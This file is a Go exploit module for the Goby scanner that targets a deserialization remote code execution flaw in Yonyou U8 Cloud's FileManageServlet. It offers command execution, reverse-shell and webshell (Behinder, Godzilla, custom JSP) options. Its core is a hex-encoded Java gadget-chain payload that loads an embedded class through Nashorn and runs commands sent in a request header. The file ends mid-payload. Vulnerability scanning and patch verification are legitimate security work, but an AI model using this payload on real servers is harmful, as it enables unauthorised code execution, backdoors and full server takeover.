package exploits

import (
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"net/url"
	"strings"
	"time"
)

func init() {
	expJson := `{
    "Name": "Yonyou U8 Cloud FileManageServlet Api Deserialize Code Execution Vulnerability",
    "Description": "<p>Yonyou U8 Cloud is a cloud ERP overall solution designed based on the concept of enterprise internet, integrating functions such as human resources, financial accounting, logistics inventory, customer relations, and production manufacturing. It aims to promote agile operation, lightweight management, and simplified IT operations for enterprises, and provide safe, trustworthy, compliant, and reliable services.</p><p>There is a deserialization code execution vulnerability in Yonyou U8 Cloud, which allows attackers to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
    "Product": "yonyou-U8-Cloud",
    "Homepage": "https://www.yonyou.com/",
    "DisclosureDate": "2023-10-20",
    "PostTime": "2023-10-20",
    "Author": "14m3ta7k@gmail.com",
    "FofaQuery": "body=\"请下载新版UClient\"",
    "GobyQuery": "body=\"请下载新版UClient\"",
    "Level": "3",
    "Impact": "<p>There is a deserialization code execution vulnerability in Yonyou U8 Cloud, which allows attackers to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
    "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://security.yonyou.com/#/patchInfo?foreignKey=7bd5b43e2c984a618b2b1d3f288110ae\">https://security.yonyou.com/#/patchInfo?foreignKey=7bd5b43e2c984a618b2b1d3f288110ae</a></p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "attackType",
            "type": "select",
            "value": "cmd,reverse,webshell",
            "show": ""
        },
        {
            "name": "cmd",
            "type": "input",
            "value": "whoami",
            "show": "attackType=cmd"
        },
        {
            "name": "webshell",
            "type": "select",
            "value": "behinder,godzilla,custom",
            "show": "attackType=webshell"
        },
        {
            "name": "filename",
            "type": "input",
            "value": "test98765X.jsp",
            "show": "attackType=webshell,webshell=custom"
        },
        {
            "name": "content",
            "type": "input",
            "value": "<% out.println(123); %>",
            "show": "attackType=webshell,webshell=custom"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        ""
    ],
    "CNNVD": [
        ""
    ],
    "CNVD": [
        "CNVD-2023-95205"
    ],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "用友 U8 Cloud FileManageServlet 远程代码执行漏洞",
            "Product": "用友-U8-Cloud",
            "Description": "<p>用友 U8 Cloud 是一种基于企业互联网理念设计的云 ERP 整体解决方案，集成了人力资源、财务会计、物流库存、客户关系和生产制造等功能，旨在推动企业实现敏捷经营、轻量化管理和简化IT操作，并提供安全可信、合规可靠的服务。</p><p>用友 U8 Cloud 存在反序列化代码执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。</p>",
            "Recommendation": "<p>厂商已发布了漏洞修复程序，请及时关注更新：<a href=\"https://security.yonyou.com/#/patchInfo?foreignKey=774c7e1f220a411dbd8eb3382c4797d5\" target=\"_blank\">https://security.yonyou.com/#/patchInfo?foreignKey=774c7e1f220a411dbd8eb3382c4797d5</a></p>",
            "Impact": "<p>用友 U8 Cloud 存在反序列化代码执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。</p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Yonyou U8 Cloud FileManageServlet Api Deserialize Code Execution Vulnerability",
            "Product": "yonyou-U8-Cloud",
            "Description": "<p>Yonyou U8 Cloud is a cloud ERP overall solution designed based on the concept of enterprise internet, integrating functions such as human resources, financial accounting, logistics inventory, customer relations, and production manufacturing. It aims to promote agile operation, lightweight management, and simplified IT operations for enterprises, and provide safe, trustworthy, compliant, and reliable services.</p><p>There is a deserialization code execution vulnerability in Yonyou U8 Cloud, which allows attackers to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
            "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time:&nbsp;<a href=\"https://security.yonyou.com/#/patchInfo?foreignKey=7bd5b43e2c984a618b2b1d3f288110ae\" target=\"_blank\">https://security.yonyou.com/#/patchInfo?foreignKey=7bd5b43e2c984a618b2b1d3f288110ae</a></p>",
            "Impact": "<p>There is a deserialization code execution vulnerability in Yonyou U8 Cloud, which allows attackers to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10857"
}`

	sendPayloadDZOWQEERUIEQOH := func(hostInfo *httpclient.FixUrl, cmd string) (*httpclient.HttpResponse, error) {
		postConfig := httpclient.NewPostRequestConfig("/service/~uap/nc.impl.pub.filesystem.FileManageServlet")
		postConfig.FollowRedirect = false
		postConfig.VerifyTls = false
		postConfig.Header.Store("cmd", cmd)
		payload, _ := hex.DecodeString("aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200206a617661782e7363726970742e536372697074456e67696e654d616e61676572000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000b6e6577496e7374616e6365757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007371007e00137571007e0018000000017400026a7374000f676574456e67696e6542794e616d657571007e001b00000001767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707371007e00137571007e001800000001743435747279207b0a20206c6f616428226e6173686f726e3a6d6f7a696c6c615f636f6d7061742e6a7322293b0a7d20636174636820286529207b7d0a66756e6374696f6e20676574556e7361666528297b0a202076617220746865556e736166654d6574686f64203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e556e7361666522292e6765744465636c617265644669656c642822746865556e7361666522293b0a2020746865556e736166654d6574686f642e73657441636365737369626c652874727565293b200a202072657475726e20746865556e736166654d6574686f642e676574286e756c6c293b0a7d0a66756e6374696f6e2072656d6f7665436c617373436163686528636c617a7a297b0a202076617220756e73616665203d20676574556e7361666528293b0a202076617220636c617a7a416e6f6e796d6f7573436c617373203d20756e736166652e646566696e65416e6f6e796d6f7573436c61737328636c617a7a2c6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c61737322292e6765745265736f75726365417353747265616d2822436c6173732e636c61737322292e72656164416c6c427974657328292c6e756c6c293b0a2020766172207265666c656374696f6e446174614669656c64203d20636c617a7a416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428227265666c656374696f6e4461746122293b0a2020756e736166652e7075744f626a65637428636c617a7a2c756e736166652e6f626a6563744669656c644f6666736574287265666c656374696f6e446174614669656c64292c6e756c6c293b0a7d0a66756e6374696f6e206279706173735265666c656374696f6e46696c7465722829207b0a2020766172207265666c656374696f6e436c6173733b0a2020747279207b0a202020207265666c656374696f6e436c617373203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a646b2e696e7465726e616c2e7265666c6563742e5265666c656374696f6e22293b0a20207d20636174636820286572726f7229207b0a202020207265666c656374696f6e436c617373203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e7265666c6563742e5265666c656374696f6e22293b0a20207d0a202076617220756e73616665203d20676574556e7361666528293b0a202076617220636c617373427566666572203d207265666c656374696f6e436c6173732e6765745265736f75726365417353747265616d28225265666c656374696f6e2e636c61737322292e72656164416c6c427974657328293b0a2020766172207265666c656374696f6e416e6f6e796d6f7573436c617373203d20756e736166652e646566696e65416e6f6e796d6f7573436c617373287265666c656374696f6e436c6173732c20636c6173734275666665722c206e756c6c293b0a2020766172206669656c6446696c7465724d61704669656c64203d207265666c656374696f6e416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428226669656c6446696c7465724d617022293b0a2020766172206d6574686f6446696c7465724d61704669656c64203d207265666c656374696f6e416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428226d6574686f6446696c7465724d617022293b0a2020696620286669656c6446696c7465724d61704669656c642e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292929207b0a20202020756e736166652e7075744f626a656374287265666c656374696f6e436c6173732c20756e736166652e7374617469634669656c644f6666736574286669656c6446696c7465724d61704669656c64292c206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829293b0a20207d0a2020696620286d6574686f6446696c7465724d61704669656c642e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292929207b0a20202020756e736166652e7075744f626a656374287265666c656374696f6e436c6173732c20756e736166652e7374617469634669656c644f6666736574286d6574686f6446696c7465724d61704669656c64292c206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829293b0a20207d0a202072656d6f7665436c6173734361636865286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173732229293b0a7d0a66756e6374696f6e2073657441636365737369626c652861636365737369626c654f626a656374297b0a2020202076617220756e73616665203d20676574556e7361666528293b0a20202020766172206f766572726964654669656c64203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e7265666c6563742e41636365737369626c654f626a65637422292e6765744465636c617265644669656c6428226f7665727269646522293b0a20202020766172206f6666736574203d20756e736166652e6f626a6563744669656c644f6666736574286f766572726964654669656c64293b0a20202020756e736166652e707574426f6f6c65616e2861636365737369626c654f626a6563742c206f66667365742c2074727565293b0a7d0a66756e6374696f6e20646566696e65436c617373286279746573297b0a202076617220636c7a203d206e756c6c3b0a20207661722076657273696f6e203d206a6176612e6c616e672e53797374656d2e67657450726f706572747928226a6176612e76657273696f6e22293b0a202076617220756e73616665203d20676574556e7361666528293b0a202076617220636c6173734c6f61646572203d206e6577206a6176612e6e65742e55524c436c6173734c6f61646572286a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6e65742e55524c22292c203029293b0a20207472797b0a202020206966202876657273696f6e2e73706c697428222e22295b305d203e3d20313129207b0a2020202020206279706173735265666c656374696f6e46696c74657228293b0a20202020646566696e65436c6173734d6574686f64203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173734c6f6164657222292e6765744465636c617265644d6574686f642822646566696e65436c617373222c206a6176612e6c616e672e436c6173732e666f724e616d6528225b4222292c6a6176612e6c616e672e496e74656765722e545950452c206a6176612e6c616e672e496e74656765722e54595045293b0a2020202073657441636365737369626c6528646566696e65436c6173734d6574686f64293b0a202020202f2f20e7bb95e8bf872073657441636365737369626c65200a20202020636c7a203d20646566696e65436c6173734d6574686f642e696e766f6b6528636c6173734c6f616465722c2062797465732c20302c2062797465732e6c656e677468293b0a202020207d656c73657b0a2020202020207661722070726f74656374696f6e446f6d61696e203d206e6577206a6176612e73656375726974792e50726f74656374696f6e446f6d61696e286e6577206a6176612e73656375726974792e436f6465536f75726365286e756c6c2c206a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e73656375726974792e636572742e436572746966696361746522292c203029292c206e756c6c2c20636c6173734c6f616465722c205b5d293b0a202020202020636c7a203d20756e736166652e646566696e65436c617373286e756c6c2c2062797465732c20302c2062797465732e6c656e6774682c20636c6173734c6f616465722c2070726f74656374696f6e446f6d61696e293b0a202020207d0a20207d6361746368286572726f72297b0a202020206572726f722e7072696e74537461636b547261636528293b0a20207d66696e616c6c797b0a2020202072657475726e20636c7a3b0a20207d0a7d0a66756e6374696f6e206261736536344465636f6465546f427974652873747229207b0a20207661722062743b0a20207472797b0a202020206274203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e4241534536344465636f64657222292e6e6577496e7374616e636528292e6465636f646542756666657228737472293b0a20207d63617463682865297b7d0a2020696620286274203d3d206e756c6c297b0a202020207472797b0a2020202020206274203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e42617365363422292e6e6577496e7374616e636528292e6765744465636f64657228292e6465636f646528737472293b0a202020207d63617463682865297b7d0a20207d0a20206966286274203d3d206e756c6c297b0a202020207472797b0a2020202020206274203d206a6176612e7574696c2e4261736536342e6765744465636f64657228292e6465636f646528737472293b0a202020207d63617463682865297b7d0a20207d0a2020696620286274203d3d206e756c6c297b0a202020206274203d206a6176612e6c616e672e436c6173732e666f724e616d6528226f72672e6170616368652e636f6d6d6f6e732e636f6465632e62696e6172792e42617365363422292e6e6577496e7374616e636528292e6465636f646528737472293b0a20207d0a202072657475726e2062743b0a7d0a76617220636f64653d227976363676674141414445426d676f414867437443674244414b344b41454d4172776f41486743774341437843674163414c494b414c4d4174416f41737743314277433243674244414c6349414b554b4143454175416741755167417567634175776741764167417651634176676f414841432f43414441434144424277444343774157414d4d4c414d5141785173417841444743414448434144494277444a43674163414d6f48414d734b414d77417a5167417a6763417a77674130416f416a77445243674168414e4949414e4d4a414e514131516f41314144574341445843674350414e674b41427741325167413267634132776f41484144634341446442774465434144664341446743674163414f4548414f494b41454d4134776f41354144594341446c43674168414f5949414f634b414345413641674136516f414951447143674350414f7349414f774b414345413751674137676b416a774476436744554150414a414938413851634138676f415177447a4367424441505149414b5949415055494150594b41493841397767412b416f416a774435427744364367424d415073484150774b414534412f516f416a77442b4367424f4150384b4145344241416f4154674542436741764151494b4145774241776f414951454543414546436745474151634b414345424341674243516742436767424377634244416f415851437443674264415130494151344b414630424167674244776742454167424551674245676f424577455543674554415255484152594b4152634247416f416141455a434145614367426f4152734b4147674178516f4161414563436745584152304b41526342486767424877674249416f4245774568427745694367423041534d4b4148514247416f424677456b436742304153514b414851424a516f424a67456e4367456d4153674b41536b424b676f424b514541425141414141414141414179436742444153734b415263424c416f4164414542434145744367417641533449415338494154414b414e51424d516f416a7745794341457a4341453043414531434145324341437043414533427745344151414d516b46545254593058304e4951564a544151415354477068646d4576624746755a79395464484a70626d63374151414e5132397563335268626e5257595778315a5167424f514541416d6c774151414563473979644145414530787159585a684c327868626d6376535735305a57646c636a734241415938615735706444344241414d6f4b565942414152446232526c4151415054476c755a55353162574a6c636c5268596d786c4151414b5258686a5a584230615739756377454143577876595752446247467a637745414a53684d616d4632595339735957356e4c314e30636d6c755a7a737054477068646d4576624746755a7939446247467a637a734241416c546157647559585231636d55424143676f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d63765132786863334d384b6a34374151414663484a7665486b424143596f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d6376553352796157356e4f774541425864796158526c415141344b45787159585a684c327868626d6376553352796157356e4f30787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c314e30636d6c755a7a73424141706a62475668636c4268636d4674415141455a58686c5977454142334a6c646d5679633255424143636f54477068646d4576624746755a79395464484a70626d633753536c4d616d4632595339735957356e4c314e30636d6c755a7a734241414e796457344241415a6b5a574e765a4755424142596f54477068646d4576624746755a79395464484a70626d63374b5674434151414b55323931636d4e6c526d6c735a514541423045304c6d7068646d454d414a63416d4177424f674537444145384154304d41543442507745414233526f636d56685a484d4d41554142515163425167774251774645444146464155594241424e6254477068646d4576624746755a79395561484a6c59575137444146484155674d41556b4253674541424768306448414241415a3059584a6e5a58514241424a7159585a684c327868626d6376556e5675626d46696247554241415a3061476c7a4a4441424141646f5957356b6247567941514165616d4632595339735957356e4c3035765533566a61455a705a57786b5258686a5a584230615739754441464c4154384241415a6e624739695957774241417077636d396a5a584e7a62334a7a4151414f616d46325953393164476c734c3078706333514d41557742545163425467774254774651444146524156494241414e795a5845424141746e5a5852535a584e776232357a5a51454144327068646d4576624746755a7939446247467a637777425577465541514151616d4632595339735957356e4c303969616d566a6441634256517742566746584151414a5a325630534756685a47567941514151616d4632595339735957356e4c314e30636d6c755a77454141324e745a4177416f4143684441465941566b4241416c7a5a5852546447463064584d4841566f4d4156734258417742585146654151416b62334a6e4c6d467759574e6f5a5335306232316a59585175645852706243356964575975516e6c305a554e6f6457357244414363414a304d415638425567454143484e6c64454a356447567a415141435730494d41574142564145414232527656334a706447554241424e7159585a684c327868626d63765258686a5a5842306157397541514154616d46325953357561573875516e6c305a554a315a6d5a6c63674541424864795958414d415745416e51454149477068646d4576624746755a7939446247467a6330357664455a766457356b5258686a5a584230615739754441466941574d48415751424141414d415755425a67454145474e7662573168626d5167626d3930494735316247774d415763425341454142534d6a49794d6a4441466f41576b4d414b51416f51454141546f4d41576f4261774541496d4e7662573168626d5167636d56325a584a7a5a53426f62334e3049475a76636d31686443426c636e4a766369454d414a51416b5177426241467444414356414a59424142427159585a684c327868626d6376564768795a57466b444143584157344d415738416d4145414253516b4a43516b415141535a6d6c735a53426d62334a74595851675a584a796233496844414369414b4d42414156415145424151417741705143684151414d616d463259533970627939476157786c44414358415841424142687159585a684c326c764c305a7062475650645852776458525464484a6c5957304d414a63426351774171514371444143694158494d41584d416d41774264414359444146314155674d4158594253417742647746344151414862334d75626d46745a5163426551774265674368444146374155674241414e3361573442414152776157356e415141434c5734424142647159585a684c327868626d6376553352796157356e516e56706247526c6367774266414639415141464943317549445142414149765977454142534174644341304151414363326742414149745977634266677742667747414441436c415945424142467159585a684c3356306157777655324e68626d356c636763426767774267774745444143584159554241414a635951774268674748444146524155674d415967426841774269514359415141484c324a706269397a6141454142324e745a43356c6547554d414b55426967454144327068646d4576626d56304c314e765932746c644177416c77474c4441474d4159304d41593442554163426a7777426b41475244414753415a4548415a4d4d414b49426c4177426c51475744414758415a4542414231795a585a6c636e4e6c494756345a574e31644755675a584a79623349734947317a5a794174506777426d414649415141424951454145334a6c646d5679633255675a58686c593356305a5342766179454d415a6b426b5177417067436e41514157633356754c6d317063324d75516b4654525459305247566a6232526c636745414447526c5932396b5a554a315a6d5a6c6367454145477068646d4575645852706243354359584e6c4e6a51424141706e5a5852455a574e765a4756794151416d62334a6e4c6d467759574e6f5a53356a623231746232357a4c6d4e765a47566a4c6d4a70626d46796553354359584e6c4e6a514241414a424e4145415145464351305246526b64495355704c5445314f54314252556c4e5556565a5857466c6159574a6a5a47566d5a326870616d7473625735766348467963335231646e643465586f774d54497a4e4455324e7a67354b7938424141316a64584a795a573530564768795a57466b415141554b436c4d616d4632595339735957356e4c31526f636d56685a4473424141356e5a58525561484a6c59575248636d3931634145414753677054477068646d4576624746755a79395561484a6c59575248636d3931634473424141686e5a5852446247467a637745414579677054477068646d4576624746755a7939446247467a637a73424142426e5a5852455a574e7359584a6c5a455a705a57786b415141744b45787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c334a6c5a6d786c59335176526d6c6c6247513741514158616d4632595339735957356e4c334a6c5a6d786c59335176526d6c6c624751424141317a5a58524259324e6c63334e70596d786c415141454b466f70566745414132646c644145414a69684d616d4632595339735957356e4c303969616d566a6444737054477068646d4576624746755a793950596d706c59335137415141485a325630546d46745a5145414643677054477068646d4576624746755a79395464484a70626d6337415141495932397564474670626e4d424142736f54477068646d4576624746755a793944614746795532567864575675593255374b566f424141316e5a5852546458426c636d4e7359584e7a415141496158526c636d4630623349424142596f4b55787159585a684c335630615777765358526c636d46306233493741514153616d46325953393164476c734c306c305a584a6864473979415141486147467a546d56346441454141796770576745414247356c654851424142516f4b55787159585a684c327868626d637654324a715a574e304f7745414357646c6445316c644768765a4145415143684d616d4632595339735957356e4c314e30636d6c755a7a746254477068646d4576624746755a7939446247467a637a737054477068646d4576624746755a7939795a575a735a574e304c30316c644768765a4473424142687159585a684c327868626d6376636d566d6247566a6443394e5a58526f6232514241415a70626e5a766132554241446b6f54477068646d4576624746755a793950596d706c593351375730787159585a684c327868626d637654324a715a574e304f796c4d616d4632595339735957356e4c303969616d566a644473424141686e5a5852436558526c6377454142436770573049424142467159585a684c327868626d6376535735305a57646c636745414246525a554555424142464d616d4632595339735957356e4c304e7359584e7a4f77454142335a686248566c543259424142596f53536c4d616d4632595339735957356e4c306c756447566e5a5849374151414c626d56335357357a64474675593255424142466e5a5852455a574e7359584a6c5a45316c644768765a41454142325a76636b3568625755424142566e5a585244623235305a5868305132786863334e4d6232466b5a58494241426b6f4b55787159585a684c327868626d63765132786863334e4d6232466b5a58493741514156616d4632595339735957356e4c304e7359584e7a544739685a475679415141475a5846315957787a415141564b45787159585a684c327868626d637654324a715a574e304f796c614151414564484a7062514541436e4e3059584a3063316470644767424142556f54477068646d4576624746755a79395464484a70626d63374b566f424141567a63477870644145414a79684d616d4632595339735957356e4c314e30636d6c755a7a73705730787159585a684c327868626d6376553352796157356e4f77454143484268636e4e6c53573530415141564b45787159585a684c327868626d6376553352796157356e4f796c4a415141584b45787159585a684c327868626d6376556e5675626d4669624755374b5659424141567a64474679644145414653684d616d4632595339735957356e4c314e30636d6c755a7a7370566745414553684d616d463259533970627939476157786c4f796c57415141464b4674434b5659424141566d6248567a6141454142574e7362334e6c415141496447395464484a70626d63424141396e5a585242596e4e76624856305a56426864476742414164795a58427359574e6c415142454b45787159585a684c327868626d637651326868636c4e6c6358566c626d4e6c4f30787159585a684c327868626d637651326868636c4e6c6358566c626d4e6c4f796c4d616d4632595339735957356e4c314e30636d6c755a7a73424142427159585a684c327868626d637655336c7a644756744151414c5a32563055484a766347567964486b424141743062307876643256795132467a5a514541426d4677634756755a4145414c53684d616d4632595339735957356e4c314e30636d6c755a7a737054477068646d4576624746755a79395464484a70626d644364576c735a4756794f77454145577068646d4576624746755a793953645735306157316c4151414b5a325630556e567564476c745a5145414653677054477068646d4576624746755a793953645735306157316c4f7745414b43686254477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d637655484a765932567a637a73424142467159585a684c327868626d637655484a765932567a63774541446d646c64456c7563485630553352795a574674415141584b436c4d616d4632595339706279394a626e423164464e30636d5668625473424142676f54477068646d457661573876535735776458525464484a6c595730374b56594241417831633256455a57787062576c305a5849424143636f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c3356306157777655324e68626d356c636a73424141356e5a585246636e4a76636c4e30636d5668625145414232526c6333527962336b424143636f54477068646d4576624746755a79395464484a70626d63374b55787159585a684c327868626d637655484a765932567a637a73424142596f54477068646d4576624746755a79395464484a70626d633753536c57415141505a3256305433563063485630553352795a574674415141594b436c4d616d46325953397062793950645852776458525464484a6c595730374151414961584e446247397a5a57514241424e7159585a684c326c764c306c7563485630553352795a5746744151414a59585a6861577868596d786c415141444b436c4a41514145636d56685a41454146477068646d4576615738765433563063485630553352795a574674415141454b456b705667454142584e735a575677415141454b456f70566745414357563461585257595778315a514541436d646c6445316c63334e685a32554241416870626e5257595778315a51416841493841486741424141384141774161414a41416b514142414a494141414143414a4d4141674355414a454141414143414a55416c67414141416b4141514358414a67414167435a414141447467414741424d4141414b4f4b726341416267414172594141307772746741454567573241415a4e4c415332414163734b375941434d414143634141435534744f67515a424c343242514d324268554746515769416c675a424255474d6a6f48475166484141616e416b4d5a42375941436a6f494751675343375941444a6f4144526b4945673232414179614141616e4169555a423759414242494f7467414754537745746741484c426b48746741494f676b5a4363454144356f414271634341686b4a746741454568433241415a4e4c4153324141637347516d324141673643526b4a746741454568473241415a4e707741574f676f5a43625941424c594145375941457849527467414754537745746741484c426b4a746741494f676b5a43625941424c594145784955746741475461634145446f4b47516d3241415153464c5941426b3073424c59414279775a4362594143446f4a47516d324141515346625941426b3073424c59414279775a43625941434d414146734141466a6f4b475171354142634241446f4c4751753541426742414a6b4257786b4c7551415a4151413644426b4d746741454568713241415a4e4c41533241416373475179324141673644526b4e746741454568734476514163746741644751304476514165746741664f67345a4462594142424967424c304148466b444569465474674164475130457651416557514d53496c4f3241422f414143453644786b5078774147702f2b524b686b507467416a7467416b4f68415a447259414242496c424c304148466b447367416d5537594148526b4f424c3041486c6b44455144497541416e55375941483163714569693241436b3645526b52746741714f676b5a455249724272304148466b44456978545751537941435a545751577941435a547467417447516b477651416557514d5a45464e5a42414f34414364545751555a454c3634414364547467416656786b4f74674145456934457651416357514d5a45564f324142305a446753394142355a41786b4a553759414831656e4145383645536f534d4c59414b546f53475249534d5153394142785a41784973553759414c526b53424c3041486c6b4447524254746741664f676b5a4472594142424975424c304148466b4447524a5474674164475134457651416557514d5a43564f32414239587077414f707741464f6769454267476e2f616578414163416f414372414b34414567444f414e774133774153416351434d41497a4143384150774245416f55414c77424841474943685141764147554168514b464143384169414a2f416f55414c774142414a6f41414144654144634141414158414151414741414c41426b414651416141426f414777416d4142304150774166414563414941424f414345415a5141694148414149774231414351416651416c414967414a674354414363416d41416f414b41414b6743724143304172674172414c41414c4144424143344178674176414d34414d5144634144514133774179414f45414d774473414455413851413241506b414e7745454144674243514135415263414f67457a414473425067413841554d415051464c414434425a41412f41596f4151414750414545426b674244415a304152414845414559427a41424841644d415341494f41456b434d41424f416a4d4153674931414573435051424d416c304154514a2f4145384367674254416f554155514b48414230436a514256414a734141414145414145414c774142414a77416e514144414a6b4141414135414149414177414141424572754141797345323441414b32414451727467413173414142414141414241414641444d4141514361414141414467414441414141587741464147414142674268414a734141414145414145414d7743654141414141674366414145416f414368414145416d5141414150384142414145414141416d797647414177534e6975324144655a414159534f4c417274674135544373534f7259414f356b414f796f7274774138456a32324144354e4c4c34466e774147456a2b774b6977444d72554151436f7342444b34414547344143653141454b3741454e5a4b7263415245347474674246456b61774b784a48746741376d5141694b6975334144775350625941506b30737667576641415953534c41714c414d794c4151797467424a73437353537259414f356b4144536f714b376341504c5941533741714b697533414479324145757741414141415143614141414155674155414141416177414e41477741454142754142554162774165414845414b5142794143384163774179414855414f5142324145594164774250414867415577423541465941656742664148734161674238414841416651427a4148384166674341414963416751435241494d4141514369414b4d414151435a414141416467414441415541414141327577424d575375334145314f7577424f575332334145383642426b454c4c6741554c594155526b45746742534751533241464f6e4141733642426b45746742557343323241465777414145414351416d41436b414c774142414a6f414141416d41416b414141434f41416b416b414154414a454148414353414345416b77416d414a59414b514355414373416c514178414a63414167436b414b45414151435a414141414c77414441414941414141584b784936456a6132414659535368493274674257456b63534e7259415672414141414142414a6f414141414741414541414143674141454170514368414145416d51414141634d414241414a414141424a784a58754142597467425a5453753241446c4d41553473456c71324141795a41454172456c75324141795a41434172456c793241417961414265374146315a747742654b37594158784a677467426674674268544161394143465a4178496955316b45456d4a5457515572557a6f45707741394b784a627467414d6d5141674b784a637467414d6d674158757742645762634158697532414638535937594158375941595577477651416857514d535a464e5a42424a6c55316b464b314d36424c67415a686b457467426e5472734161466b747467427074774271456d75324147773642526b46746742746d51414c475157324147366e414155534e6a6f477577426f5753323241472b3341476f536137594162446f46757742645762634158686b4774674266475157324147325a4141735a42625941627163414252493274674266746742684f67595a426a6f484c635941427932324148415a4237413642526b467467